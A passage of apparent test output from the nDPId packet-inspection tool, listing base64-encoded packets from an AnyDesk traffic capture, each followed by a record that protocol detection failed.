+05978{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":103,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":728958,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdplAAIAGAADAqAG7wKgBstOUG56PGWYMWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUs92FedrDJMiQRQtUZr2qRr3XxGL\/FD1kg5jwQnVcaPE022LY4gulqubcocZZ3W2ugmHvYmbwAmcYz3V0ySEHiF0OeFeAa6Ndn\/JzhX19SO20Ju5N\/Mx+YfM9CKvuONdnR1TQHp\/DudP8RenjBEb2Qs4D6ig8MsdMkxuYldOxDe6Dx9KnApump0helb0Qtj6FY7T9kk2x3yGspQ5mgVeoxd3eolgKTe0hB6x+4PONfm08ESD1AKEyqxzyxQ1rDMa\/tm4fLrW0eWNpMXXbGXvu\/6Vtbg0g9pGwQMyYip68iK47PkysJP\/QNecfTXsYXFpcwgOLnhXe4lGaSwhp8gYzGVIFxSTo2jYlaDIAdXw9uF7JLgvPGhSgN+EYqmRewl7SFMclgOsdp0GHPQKCglvMp4ErceaMO5kXPxp2x3BcHonxCB7KQEqpzq0UpxRWBK+vwlsig\/Y8jN5tM+Q4HypROzvtdOcjWbhMqxkcqQam3Rs0QYm+Hy3zSHnsSMSav5VRAlU74flbUy9EVkn\/UgUx2jkd57B7hKaBI13ySuA4qbxo2EFHK2sKtTL3rAuD0nl8NgytepKNL+a7Q2F3APh2bzsUXY58CriT0\/uNtzVabqhXOigyyLrUP0zTCMdxyjGw9uaIsx8ZlUSP99bV58f8Jy8XHcP4dwBhcHOe3Bk9EPxJURc2GCtoqS4zNzuu7aFZp+ISHlRfUB2KaK9Fuw7w83xo7\/9HvnQSh+Iah2dajcCMc2LEpb0nVA6PT\/2R2H88jhttxcLxjX1B03jOUXvhRT1qF1OtN3lF35205+lD191+l4hmXFuBdOSfkqkud76AUjV0WupgFzqnhow72iKBpXVyZfJTwiGjJYMNm4w+YMeHFnrdyFIPRk9wlvQQj\/ytRWiOUmD72xeZYMkH\/L1SN9x1lcRljtzsh+jA8z+EmoPN\/SxUmliVf7mT\/N74mGWrhUp0jgBFhvFWzgfh3MBG50Nc8xz0n9eLLQMs9MqS\/NYg7ye2A6\/sNyoDuK\/JAAYtJ3eqGXollQVQvf5LBskivofUSBCHBdoPReiSIugG8EBFfVhFBW7IlWWdC9YwyGCkSR+3R7OhO3jcNEqlzvDWqlqkv02DtNS14OSXYf72aO43EQH8XtJOueU0cAp7vSSt1rUv2Rk6qgI4oOJiuaEZ4A0ogBxvq9x+5aHSWJulBHUzh5Ywny8TM7J36\/cRWhhtVFlEkN5NNyuOYGPsjBDEcF7j0xjxbSGAn7SaDTnvkkt9HhVTleQMyP+jqC3ah0AepCeKNsCyXXPc7C6cTwWxHj4bg+coJn259LGR96kBpsqqg8NWwaZT43JVN4nDpwZT7EHYNe2P9e7SFbvppOWTkMOvogtBU+7bzV4ZVnd64GXWGaRokM\/svsSwJeZHNZZLa\/Uf\/2JALKDN9Y5dq3QPu7t6EQ58wgsOrIrmI4ywyQfPNqq1l4s+LpRBdfJy2xUOJ7vl4QXQQlz7NJoZaIXzE\/P6SRebEFQkoyhL70pgYdsB+F5j8U5EfKRgIGMa6y42na62+dhUpUXB1xSZ59QTCmTL3c6oKTCu\/UrQT1IGOgYcDMzyj2nSBJLKgsziZrlo5aYt5F4FFrhUNsh3TOs4DNUFh50LmBPAgAOazhJVZlxIsGYWLSqGMg1dXVGFqcBX\/Di0HlLp+ARcvQzFEdeQ0jPv20H3FwHGAxxIyZZzO8fA6wzpNMc\/\/XLMAiGu9pjPE9gDIr5EV2UYLtO2qR3DMu0V9Ya6J5Fen5saMBMASP4eZtlQXJS8PInT1IDvicoFuaTp9G0G9o37anFp\/pqEAhFgG94rdE68YVqybhokf17spGW7s2LYXpD5cx4m1CWhc6ziYwdnSdjgc7DEqryL7lq8KjzjOTeAEbtDWi1xTPXuE3diQxQiSO827qZTtaKGzcOJnLyxKzDrXPFsQ9XB8suGuncQWMbDRQ1C4Pq0WNo83gciYJhLBCoOjeuc8GcSjI2PaU0i4mxGI9oXjCMQ3lxzUWQS5GXplYlOzxgLFUaV3ER7kbSkaF9Z4H86LfHOJ1yKzcWhoTZaOa8DFxYjn4ddv3grxUgPc17cemhjUX0AafnPQD1YBPlc1Sws5nqTUTGW+ko4h0uVV0GGTCMMcj7cGJ\/ANSyg5ri9lgOl4N+imrSPVG5PeICzxbKcDA20QJNegkSTn\/KW98W0Cze40Z+BxfnwAIm00oAoDfN2jxi4M7xNaDSSwJM+BBLA9TtgP\/x8giW5n1DReQGnBYlBjWsOx5R+GGJQ845OI3sBjOjm0vExy\/Tc9yKwwkIc36hPNyCxk107bWAdBhP+ka3kCp1p4wnGThYw1MWgJp28W6hJEwuKitDzg6K5w84S0asbRS1TplAYirQ+NUjh66vIYOvnZXXWIrMDlyObehY5u5SYaCzdk9gNuJf65ww3OlxiYc96I1b8OLx6sHyjkURHmNi6IqXUYKN0mpXLDysM2XmGjKBX7BOSxr1zShWeIGTosfMMpkL++DylObzsWN4TduCBM2P1xFZ+mj3sb2k+LSEgvn1ptZlZbWha3TtTDAUjfeOTYcWG7KUFipW8j2bu1Tf21PdTDy9hpk6TecBSaEqCYXZrPP1CbFC6z3+zn26l7d\/aHNSoTexCadbArjBxxC04M\/djIsFHks\/dzPXbfcftqSliZ0i8nNZlpI5AaGcpAZ03GiBifuy36QufnkK+V8CzD1G0U+SqQkSHdU1aX8eh2DE3UOC+fwn7juGkPc\/S\/tcKOjGy4N4mR93Wm4KvRExiODf1y4kEQ\/qcMIwUYsxpN7hm6R1XW2C4TUU\/tMdOxI3V3gersIZAiHHIKSW30sEtsskiZDeguxbwkGOgM8N6tuxz9meHWkYIZ8XeSJegcVMyX1R9a+QfKEQSuEKID86koNIPv\/eHy1HaPVms+ZbqWKHBCxu9CLCuX0mLF0EjNzZ03KaKXZmeh9b2745TQUTIq835SXMhXfagaV6peHfg2qJzKGJ1rUNoLIix2lHhicEJIKAU\/Fg0+8gTSs3SW6TvvaYLO\/ZQLs5FSF13F838x+8selU20vS6MkWVNIa+UvY4FoyqzLDQDALpv6u2nPaRrWXkpNwUG82OjmBrb\/POlW2+x+D0DnhX3a691cGG4vR7Wh3nV1vIFAknA33OkVAua+NuoNASCIzrAK9nrTohPFIYDpgOf8lKtVXVa9+oQXedAGJn1gDj6A0vpu+XJA1GZYwGFpqY\/+zHSmXBctOBRFT+4N0Ppx1OBxmnO3wxYE8t+BIqau+jRtFfkYI3Ypefc2NsoIKNbpiMnC68Z8uv9oYRq+vxOrx6reninhl76fzK7v3+iAN2uYGrWY3zTAyizjNYKY+aAYxIxRrP8oIeydSk133syy4+E+efN2bZMqOXNRFY9AVyiOLhUXf5WAaP4Ctg3wZHz3p\/CNsByci\/oeXVWMfMgIhIHSbtqXm1GszFAGxHqwu4Jfx7f7IT\/P0lt5uaSEvwUnH0tvatQJuBepsPNdaFausr5jfHENeZ7prf7U9E0smqvSu6MQ8iwSvFUE+HcX4hhj2ooIoh6iLOCRcOH2kL0c2uCh1UE4akd9\/r4bqKS4eNmmwYZvdFSuL16zE7+MgN2uFyozErQnDop6m7pqJICraqdF7p5uHFiOvCo19nfp0RXBW0PA\/dUmcugm\/Rny0TM+wPY3\/es86NhnFCXVb2vsSiSb7zR4XDXlLVSQaIkzubycCveO+qSfrfJQ4nPD+M8RvMfyHA5Uc2\/qS\/OiXI+x1Lu7Nb686IMZAiQkp7huTjG\/jg2PsFLdnrPJBMjHdoPHmINLSoa9Q1CM+0CEdkO\/DQtIFFbqq1or7341loDOTkaVJPP2kJ0wXeNSiya8h4SjpMi19UBZPTSyYvTU1wuku21SckWVN\/mfy99wXTNLPQ+59IwhEovLICbwWu5A8oU9yZIm0o+XfVs5eIznySeG6ohgSQnIVwaZDpFGIRA6o3bm3iyr86BaK6uaSz4BB8Bn\/VghPbRxtami7mpAcFfAQUO2rM+qYBaXXqlxhMH2g5JPultzNeJVKagT4gZXKZR5a9o+HDhyP+EMaGLOaPx9MnqRP96vt73q256\/ixcrkNPNUKESNiJGQsKbBkcL9K45mdHYfNcpStQV44Wh7\/IJGe9DYKCfjladPSS1Om0bODxfsN6PVvLW5i+Kx2uYM6Ld6xBJk7Xg9tNe+YHuMFO2cG+qVmrElV6VzK7ZJZJ67WG0V8\/tNpzQOiizNeG3qEYjI\/sZTGhL9cp8C6uHN\/22zo\/tbP74+vKCgcAteme18D26mRVGblC5nOoFpd1rswZqVuqdc0yMeCTHRRf75d4VS3kvJqkGX0BRPJ0cFm7TgAARgyJ4lXYvQXFxuM1rz\/xHMf0jaeEalRg0YNou919JhkqtzNwntu6ESxShpI8sZ+c7vMdX+eGdToF+vKIs1jAIAsa+BHOptkoyIgg\/8sTd3jA29cj5SF3WR2htjM0eGZh\/eNbGjCuouNFgl0N3PxPjttJ++mtiAdMQgl0OVhKuND7yFCmS+IGN3DgiQcq6rXSerFolHzdieTtk4QnggY5nyIPXhnkRVl5FCApvWuAHJQA\/63ILJVkfF4h\/EglA82Ghm7CARkHiJE5OgeZa6CobWSzkZiAlgdpm+nBCVQWAylt1ySrhcy\/CnfyBmM8F9rfoIgkRSIpQ3gVu3Qa+oBTyfrH0oS1TjEt6+6oWRZ\/pN\/OBQCHGSF\/Y9w7qejie+QElw\/u1W3C9F8R9z9nA3q3Dw0trcp6kszywwu639WOcQTFLYSvOZADpihuBIPGx4jm073BwbMNNGVZ21l8hn6woJKByiI2wo0dZb0t1aYSq1flyUbGEKyck7GO3HdUd4WsXCU7oYb7RcesF+TXaokbB4cUjnxeRjJs6Khgg0nABDDSBvdB7ED2d5eEQqFpDoalh+frK6K9UXvx\/8FuYaXePFWbvAercQGvUR\/qjGZ2l08FuG5+cxhjXIyGaoPWawOppnpzCsApMGZeAWkq5AITygFsQR7r+Wq9odHGY5C+ZwsQRw440fGiWI\/cwqCVlTDgEGgZn\/F7QpD4Lh2IgtCYpcnbx5U59zTn3Lq1t+rEfTyW+uEU5B7h9USICYlo\/TZV6icaWHcB7wwrblgYj1GjBjON6g4fyy8I9FDTscleJOdCPHmBBdkQ8hWsxfMStZYcWdyYrs5Szwv9w0cMtnABgVacC5wk5EdCTBtxUUdB\/xzcGkswuz7cCtDtmZfmvRaT71+homCrb5gqvlVDkhJuCrqseis7tUmIocvtKOFiuRV8z9I\/Nn5WCZNhPOgrZscR6HjDwNatwdDoqXXt1nAbs83D0L7aOxrezn\/8R36dVUOOxiHKgf\/sO9csdqDOUNVo9LncKZ4Uk5bvoUX1g28ovrOqZKTaGavvxsY9jIzvd4u1g+lTO9rz8VZm90Ty4IeVwf4SB5p50GU10F9rQ6QbjLNNs\/oi8HqLmm+hB\/MdAc03A=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":103,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05982{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":108,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":729252,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdpxAAIAGAADAqAG7wKgBstOUG56PGXYzWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUtAClu95\/Nh+gEuKuFO57b1BKuiwWySpU7+ud7aNB82rHEvdGiKaIEAWYyd9ozTVW5kZAjNmL3hvaKTbcYuYr3sFp5rB7RbVs2Is1xSSOSwTiX0f0lLHKZpP52bG5+X44w9\/ED03N1j3AdlvzjUOa1lrWEsAliw4S+ZKhUwH6Hp099ioKw4W6bDHMGfJCeNMBCh8GPngN6t7oE6Mf1S1uSnr3Sh\/3FNnp2FtoScxlvvIIjVZ\/vitBkeFwfVAXebMhvm17rddgZ3OvvMdOrj\/l3QvLAbEIXZP0QLZVtPQpGVRu+S+xX6Yu8YASUSbrJIcvHd+JywS3Rui5cLJuER+f5cXMWAjr0BHj07YcLsOz6PPjkWf\/QYuUWbBxhbXC6FrN4qzhrFunrZfl31lOlOKMx3NZMcCaD+Xppe00x5t9Ba90dnDGYJTtnAARLEzrzlQA4Pp4xP9qMAdratbNv7CIah1aQkHG2Dt7DUCoxgRb2cL1JZCQFvX98o1yoEycqtJ4eADtJDqd13pH9IFXv0\/lls1fNC2iFSTFT37YVqjN1G41DhB3cXUA6yObQAXP6CLOW+qDaNAmPZcG+dqs4qWHTV1r6NkHTH7RJ6r9YMgtTzfDqglZ7HBOcXtchZkWUylR9Snls3rbcBnvqZitQHVoUu5KzmmbnZsWSBDUzsWn3Efh\/qp0njcZpFmU60jWkT599PvdW++a38YfCEBk9tSubrGXg7H3c1VK\/Gwz\/HvKaQCZEGGtHP7AU2uiV7yqVTmLwMUabG\/5W79NSoiGi2A4yTzewCnFW245easJBl6mW8ZPxiGvdZC+NbZ95MJgW7XXJ4UxKlkqVAjywfUJo0adnuzanE9Zkv6zH5whq+jEaMR7qDocpbvgV\/7LWwQmhoKq343PWGw9LUzKNadOfsZ1sMJht5EvIDs+riP8jFUtJ2RLAgUS4WMu4j1pamY5xNwU1n8gF1aR28GowlSR7\/ohxDx6l\/F2zX3OgP2RqMQtYHxBNIfUbuaODVY3qf5ws\/FDVDs0juMpof2Zr54lM0aiCvCnGPdAJD07J2t7VGYuZWiyglhtE2L+OxkdV8QpKkqwS70i6uAR0t11NzOaB7nHvc4mKwe1Sq9OSDsANn0IWdrLmyHlAcoZ7Kun9MbQVFJXEiW7gmE4P1FXhQESlywNJO58eNtM8pjeQZ2lnU92C9ftLBtpC2WOxi\/YEU0wm+5ZQHQgPBRbMH4fQpdfhC6zhgfRA27v5IjTdBmWtXjzKtRqr+MibPbupSm+EO4esFMld6GKcrnM5BoAQx0y8bmJdo3d6Vd1q17qwe9rx66ER3lF5AKa9HhvJPwDsXQIymwsG8mC249QTR6gz2X6GiSU77ech9zreA0Xhe82gn1PzAP\/+L+v98EBim\/npPmIEgkAmWTDVpvFxsUSo4mZ5c82KrLHaAqoqmTv\/ZSJ85idsix+Es2Gl2ZQ1hB+tMvt43B3bWB4Pmxv75J\/kfKPkDyN2n4zXD9fUoxkUvFkwqtU\/Gh74PpboNiTWFfnZ+\/fob78suNsWWGFMYy72ogLex4OJx4fo5gTlF3Z7qRl2arNpPghYyFaVrdh\/y5\/OOLCMzbsve72tVlS9y+hfbkA+S5cgRgiC0qgdemA2NzXdwoam4muor+Wfu2KQTUCZ+PfqlBwWc5Q6LvA72Y1F6ZBakSbUNkZGcp+YKyAFxsieUvEi5NMTk\/M1v8hfnOW9Kzi5dtuKSNsS7zSDF3wtz6WbTMFWUWKyJkxxIgQd7oxLg073aW8C0nXUR5E5U524Z5nxAs10XYgJkq1UCV7K\/1kKrR05CcaFvtCvKAqRcL2+9aKXBZmZevtv\/RNxleW+9cHPu1Wl4O24PeErQAHuPH\/I2y83J7EUw25sEWN9G2oEm7J5HMqiDoX8BBaJVdw\/W\/6b2O5ZkbyTkolI+7CHcd\/HzJ9OUmdLg6TjL92DLC\/tmpzoRtJLZD45Gb7NT0g+fINw2JKd3rIM5m3D1GNjgyZippswIHLLnUggDVqIv4USs7gvIJp\/RvWhZL0TNHsVT6XGjkqchrgeDRYCuZrij59Y2tmk4qhkZBiUPk9A2J43\/2RRzJRISAicMv0rVb4fnHC+BPgU4wfyaSdS+5ii7K53oZJ9Rw8cZ9wfI\/vyDs7yh5++++h3TF99pAm76e5shy6aDg27Q6dg7\/QF6M0HMqq2FHyhVe6kZBbhMThzpJ\/7hcOOV05jaWpwM2DvX7TvExBSkSHwwdoFOVmk9gEuOAMu6joh\/tTfCm8h48UsAY4o8sK4kkNLE7KYwHMJv6gyUuekMZoxgtYwM8nZPQ6BZZX5ybejsJBKuPawpj+QefGPJ8EGdedGSp+g\/1\/QNxGvo7Ctf6RClJ1IH1JKcF4WlVzPOMehb72NJTLzOe12OOah0cSOxm+C4w1QDEtUcOuCzKRqCONpwLpnBZFfgS1yPrKy4mQIogMIpyMFDeFVN+5vaTPITQSMBIyyn+QofkqN06PZcGGnjLCd0xPCwFjFvczKNmjlVIF+eU0ijyXKriY32cuaM2WEZXbIhyIc1MhB\/Byi3LSMUfo\/v9iB4IMjHiQdx9SWxFChMrA6hunz7r4uX02pbgcJky+BChUAFLoUItSvcD4u3kJFNXu2o1b3LU+DIN\/ZUrMvM0gp0qncVIOYgkeTrCFqS\/Z+i3g969+EZtHW9H89cAU9twGHQVzRb\/0hezoSn45rWdmm4vMN8q\/06v3\/bjTM+hIP3S6k6vP\/EjScG0GbKTZLTQV0LksOGSARbsRJlE\/23XdiTxWQvBUDu581e2GtQkf8mm9zhQwu3HNI6Mo\/10J6y+lKTsm5w3Tfwd1sXzgmJLNCPSyw3eSCLAx9f2Nzai8VLm1OyP+HplRrfMJ843HYjmVHU2LeX8F4NXZAhuDidnltq+x7WBjoC32TeFcIuYgql3dpRBIAsoF\/n0THay226DknihhSdCncoYzAI\/4Tpao+M5iLbLwHJh8F6j2NXjK7YLx7Az4mI8YBdi7OZjVjx68\/yg5MOq94XCn7V8r+u\/FcnJnhZ61Trqo5UPLbz5zyfcqvvLNU\/3OJ8wa2ys3JAadOBl3XVs7TxboI5QzIKxKkUkalaL77zXu5Qc2BPIDxIyvRQMWw2XXkkRAQgcYwnulg84sGqD2YH1RgSJOIJz1HF8G4ICf1IlV3U8VoliU9eJ1K9OsJBr9AlVNqYEYWKRX+c45rO7DuXLevKplrIeUtWlM0BRrqsaCpxNMWHR2TUpqaxl+6gae82NhQ9Z0HMKSDDK0SXJn2y8glFRfZu6GUIjJSYreJFKSqD+gvqG2TIVKEVN9AsXlDkO54dXGR5166fneLShn9M4jnnbRgL18Dtxhk61ULSl4qqCV+5AuHmXb0kt5Qx+ZJJPmDYGJstgAI2O01\/tJNL0xhtBOw70YkLn+4Vqoxkt6cNiHt2+Zp8IwUhPfKfvti7wP2s4hGIubnOd6ESzUdtzB46zA4jmd0EPeWicoRcVexbKhuEmRwCq3nOxLcpus3oRKU6p1Q9kUqtpTyccYPOFBw6Wcby0Y7UqIJ7W9fRSmO112gj8dwVDQad6ev45jWFjV5DLu6zXAT4WjsVm22\/G668xcM0Eh465FvzTTbXYfvL32TuVuDb2px9BV2JSMg5ABD2h5EHkAYC64jEWpNKNxyqJV1\/iNoaErZl8fdoxs6irfiGqNFTHTrvCIjBAjCU0qWKR+CtiZoJntg0uuxOzQ5jVMglQCMqXj\/+hjQXFp2Orhr60Tmlj6VNwippAcA7xJ4HI6E2RoMSxT8Pil3OKNF1VlkxMG8A6TnvBS1c3dOfHY\/PaLdn68wubTNYyjJJCz1R3p2T1mL78nWO0qT4HabL26R91syrfQFt2wsDOVZEDnDNzrPcaWNPMEdJfSJAMYoyFWaAmOMjt69xsIF17C1xVyGJSO6zVwSv9qPCfwSYvO53T56PvY0Rk7m5D9EVSX1M2eJvon\/gfSlUitt5tRJJRT\/hLX5a2ks9iaU818Oa66M6ZcLl6oCMWwwIdGFYGOm4aL9U9Ko3O222QCX4Vz4tj0gcPcAsztedZZMIbH\/HXbfs+BL3qUlRJIjs0CE\/Pb18lItWE3yOpVi7RIYByvdGyM\/OnlmmZtl+ecY5XPzK21Bk71ZNhLfpl43gFSxsUCDmUSVoF8ux7ljvY5oZUFVTfdAfM\/0JnrRJ19F0VYBpnYZzWKltxgWM9BMZJjKyqeErujeXUQzdFmH8GTwd+R4N4UhkR6C8oe83Pk+W0F0KoyTjaFXqFPnSKvHoTTxYLixSfKrnGk+I4GcdYxVh1VYH6dQoBVWPmp\/axviBTDH9EiSwhmQPDSnfRZmBAIWqIbncNv4rgDqX1BH+Itrq0tQfXtpnCZXk6jvy36EL0WPI3UB\/pxCG\/H4MEVb\/978lXt7gcUxodontlIFoIxODlcEsiCnL+ZoCAgCXxrYZwoWFTSpy3HWrp0N9OWVDNhKF1Wo8OUWQZZb74HiEaTO3pP4GErYkqSbtxsZ3E6ugW4634WbcVInbvH5RDymS7Nsv6nvG1XVaDb4OFCWnILuhflqJ+lHis+S\/CFBLSaXGIxugFseUeP\/VinO+Xu3S91fd9DGa1Rs\/bbDCI0Bmg6CRnEd8rfFhrUun+h10Iq3+1wfBJSXWjoEkeJdUdklQ+t62IbuGGwfm1RMImROUViB0SeoMn\/m8M12x3QX2\/fBJwE7DuVcbROk210UToNknOOYWE52YH9G8lXtHSGMuX4oPop6lZKUR0frgOUqctTgaISqH+eE\/LPsr4KA3C6EOHuGJIxN4b0DmOon2Zu9+XHyXvwN8xJupRejEI1cPdXkSpdpTW2F9WqzWP9DEbaL\/JkX6cKAJWJbsG0dPuSTyhtYd1FVmUyiQcMyFwevfrX2Hd3sS9qZMLJ6YJPQKXgvEU\/KT2lgykS+W7W77oXnJSy95cGW4k2+lCTXwwwKADt8iWfo7IFknBvZCp0epZGbzhyUWxYgtvOWW6vZv+M3cpmuyiK7FPzqeUFKVKPL0MZ\/\/AAhAwqibJJQAzMz0GqF+X0QnTqJXNa7dLh\/QT\/SqsOxu5D2YnHJ\/BmI4vVv4qSYPRvwidN3SCbizTNIbS6XjbC8KnAXmNKuOu3YojNSzYo2eiNPcUZB9OX4mFk1k1ltee2LEjs6KaKQ6QxnucYkRuCilj9nh5qH+L5+4t2IbHfLsDP3+IkhgvdZAiiMoZcIS9cvyfztTFA\/A9MCmkdrI1KXwMtAEKlA2FML1p56SBlCrRS6IJ463hHXVfxihkrLA4CVgMJ8ZXcYHwBKg1J\/MG4KOEEeqDbWpB58bPLeqOJhXO5gkqk7xM+NC7sZfs8QMKdpcTc9UZYl\/douZmZ3XQY97vffcMbJU+\/aP9alN2ytfdMRm2rjFeZGJKa+42kc\/iVCxOOyIqMJJePEME31tuYbWO6xEB5xbHpQSXG1tBhH0S7SpTC7jN9F9ylOCXsTEboX3G\/vCJn7k03Cx36kA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":108,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05975{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":112,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":729640,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdp9AAIAGAADAqAG7wKgBstOUG56PGYZaWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUtRAdWg8x4f3nEaQCiGRlpSWq8Jx1rZXOnwl8\/AKpznnidefg5c7qUCBSlM48r50AR\/JCACsvMGFQFiq\/tI19aZ1CH+JKZQDJP4xuA6TU54pY7NOykPSLe\/Ep2nWzpuzlvHh6hYq7XofLw0N4F1ChEi22Q16cuHpE3pvkvQwd98cxVp5XpR8B85uumJYHmLQjYxW2zET29aIkMsGScZFM1BP7FBDK9Efah90Xt+YzeI\/dKUcBHQjgkZiJym85uBMUXoPPerSFGiVrbcPPPARPLc2cjoyYOg4m8WhisgkblUGG9sXjDnoHZwD4z5dfAaK1k\/m1yryxPy\/ubVktmFsYQFgScyjcBZAwmsf6eAyBGWahW3VthmVuW\/BqV4vd8CEdwidl56sy\/PeLWak6FyTSKs0yvzGla1LM0XICVDr+sivy9OkwOVJ7chCpMHt26951BrEKC17WwvHgVok9upaiBOn0JUoi1+a3rFBvo75HkLZ2IdTlgeD4ZipGu5RBmLflEb9YVlGiRGhBeZ3qywcNoSUZCImAPG91qcOSam1HItGrFOhumA3a9BUT+Zublr\/3ZQ4nZuHyhjiwPIXzltp0U2aBC+XsZgNEFv4codS5423Rw7Rdv5NI86DaSuhGQTUZrUm7pUo9E4M58i4IQNUboCE5BwyYAR1QQahwkD3G47ruv4rIYEvHhNqKnRHSLX6ZmuFE0HifbTVEUj0y8mmPq+Vk+BuS4f5OWuDLHPNOADgW2q\/cy3sB67tPvYiaVBNWMW7aY32ufbG8YPysgv0t092FkP+ooxCcw2sJnMe\/u0+R95iho50B24YplXWt0cHUFu\/8GpqrJ8R1uiM1\/qGffU\/z\/AMZFL4sEg5Qc6fQJXWE+xTH\/u4dBKi7QMvZANVrKVu+GpH6Yciij95rERl8YN7cKA0qfJ3CC5HhVcA\/dNW5L3+00\/dMBNvhyBEYLCM8Ivgmq5XGc99wHB9Ea4iu9lftvCn3Cz2Ji4ccMY5GXWfswqrr+LpdguW4XDFcr6VHLedooC\/0v\/J84nXU7ORVMEZJvpQKgHJARdVeOloC8gifXhMEXncf991zV\/usIAingzIa0fn4q7NtYpQ9NXpgaQl9qQ\/3BEVV\/4JeJOs1OkAKjXToXXY39RM299fFVJq4JAn\/ntaqNBWLxHhybOTiNV+ls9ieY3BmkM6xoh16SSpkSebTHwPgeHkMzaVWFWr6yUceBKVbiPfitoO13pQe8AVUqBd0M9poHwCszvAxqBZGVY6kWcd73mNudpoYnoQWey3A73tmPJ978fyxcFmE4iEbwwZqUELV8Ms9xeIkA+47ph1ycCN+pEyR22HvXALiSKjXR7KLphwwSRY+AQLcedrWbYVEKAr\/zNpP6CxyJ6UIEicTbZY1GtyX6FBzMnCFfqgC5e2XWPUcyIEHXB+\/L61Oy5ON7\/D5PufJrp\/gT1Cy2xE8Q+PjbE+tGRoZd\/LyhY3+vyaome0b2d5GT0al8l5xWPp3caaeAY5kU7Qql\/Q4aOOLfLzaVi8DR\/RKw9r8\/gkwTVQEWWuqjp0Rk88AkVElMeTPXFkV2KjsN6Dq5FG47FJ12gJo8Sjb+nxmOG034NmcxbMOsnfh8FbvUxiIOVdipVl8vi+d\/7LnhX1qmvc\/qauk0ivzpQXRf1cLRIaW6mN0DUYWFlaEhWKU0CmuIBJQf9ImYq\/Sr0RHJUILOUrUtSPNC\/YHVcJSwCG84SElAL\/tuF4+y1DSneZLp1tTqOOPxTbnTxwBGfaLVWZRKCoNiaAyhJRfAEGyfkXNYC1EzQEylPSrBE1QK27fBMZQzmlaD0QmwHNpdeF+icCfjENDQUjEOtbHTJhZuWzSRd9wNyV0hLiOLx3h0sA\/zMg1uMJCyHjn+4WWQptg3mQHbwAPOPOmL1vyPtWXlmoB13iogXN++8YieTJwvuaMaCKvLThkPumH\/Ugtw+WQvCYb8QSngE3WHj\/ZAD9e7JA2KMrTywUvYTMElTnRPZVWNJZjVcoTB8XOd97v\/QVWW38Rvipu+pVoORZmsw5JKoO156S4pI2NKjujJ9pdTg79QuKjM2XcJhVHXzHardZiYlAjX3Ld81BTpJvmHM1yzuPxmdffYSeNPbz8hR7txnJ7qS4J06DzNW3xTXPU0OfU5bdZaoYfiwsv3gfeWJt2lZSEyjfhwRWtQPGlgxUi9VRfZ20ifrG4c0zKtdn\/Xti44Sxn\/t\/5dLrXzZejqhISvxkeI\/hsnJvYIYz1maeD2Kvgw\/oYGLx7DV41BNwD9M92IXXU15Zmc\/JjIsZH\/gM9md6Ty1SfRHPiC21YyT2QMlap3zBopUt921Ex2iIrFl9vV9Fsyh3bGB8rY\/6m2JTym+cJplmUiyw6Q1MjjfinSrud8JVG6SqUlBXuSvAp5+mkxOq7PS7imu5u6NqqtyAqnlrdPgudImzQ3LQKHBlBQuPr30pOXar5Y9m5hG\/OB+Ffba3jaN7bukNT55M+oJc8\/h8m1lVjp4mwCGo83hkwk8iumw\/fVYjuwrzUJ2Bce4akLWvUj0zAKBl+OD\/H7icULefnWLTNRpj6VVDJ5Ma5hSlujK+7Vdhwz8s+56G\/D\/Ls79F+ZJoLozPkLjkANsY+NXTNLCfxmPBDmGg6252t7Ul5C+JzMTBQjZIZjq6ukx6eALsuwGM1JdNiUZnQ7rQctmEqiXYaVwO6ITf3O58N\/AZDRb6CXbtuDcMbQ7F9R6a9Vf+LQuQFABYaLop9kf9Ffnq3MWwxdu52wCetx9ZH+Ngu4oDOKwVNgvxqK2Xk5sSlyGByWzKPjadOy40IE\/73BRnzGQEnIFvc2IUdz1f6vNvVQgoecH+31JC3FwUOOfsmcuR00SqKTFIH1rLHs0SlkSsFtvrV4AZS+SIWadrUEOYpBHm7VVzOZHLtbNkbYuPKPkP2WZHuOaA40KSn5QTlK5O09e3J0q6ZYQ2ffPQm72fi16D+zITDyfNSRcAPTgfT6F72V2eAEyHq31YpRnNFxoCh\/iyyGU7jCymzlsAF3pNZ3IIqdGH3zCI7j6Ps7xa\/GPrmINBFqQldqlzhh9OEF5ChxRSIuBJ5Tj747U2Fw+BUNcyjY3fjmCZhAg4DnbIDqYmCQRmUnIyXdgEoVle5eeMyL6d4inLGFiYubUF3aBCa6BbPNekUJDx8MRkxhlLTL4GMqQuk9WZXaLsnxZ9ovup7hMTwVQpXJ+eSE65C3v\/EI7PYfnZ21kMaiNwOdI88cl\/y1CLfPqB3gN5m0iAQeDnpbe5xP18CAq3SHh5VdDi2w6dzpTOuYHyizADmobfT72Lw06SPrECyBtIaB1Mx4LnOYZjhAN9\/zsTXMlV3Dh13e2ZmiJTljR0Z+qGhLe937dMOFTr1ZHrShnsuVUAZ1pRJRSKxrmQ2XA94awX1JpDb5ECmALN1MuRDzRcDMSV6QvyUFtd7Dazp9DKCvwM5rp329h0SHDqSpaZdEx1wfBfqzqLqkl0XF0DAUuNGRGHJ8a5KGLHoxvPOjTF9Z6Y3ozQeTP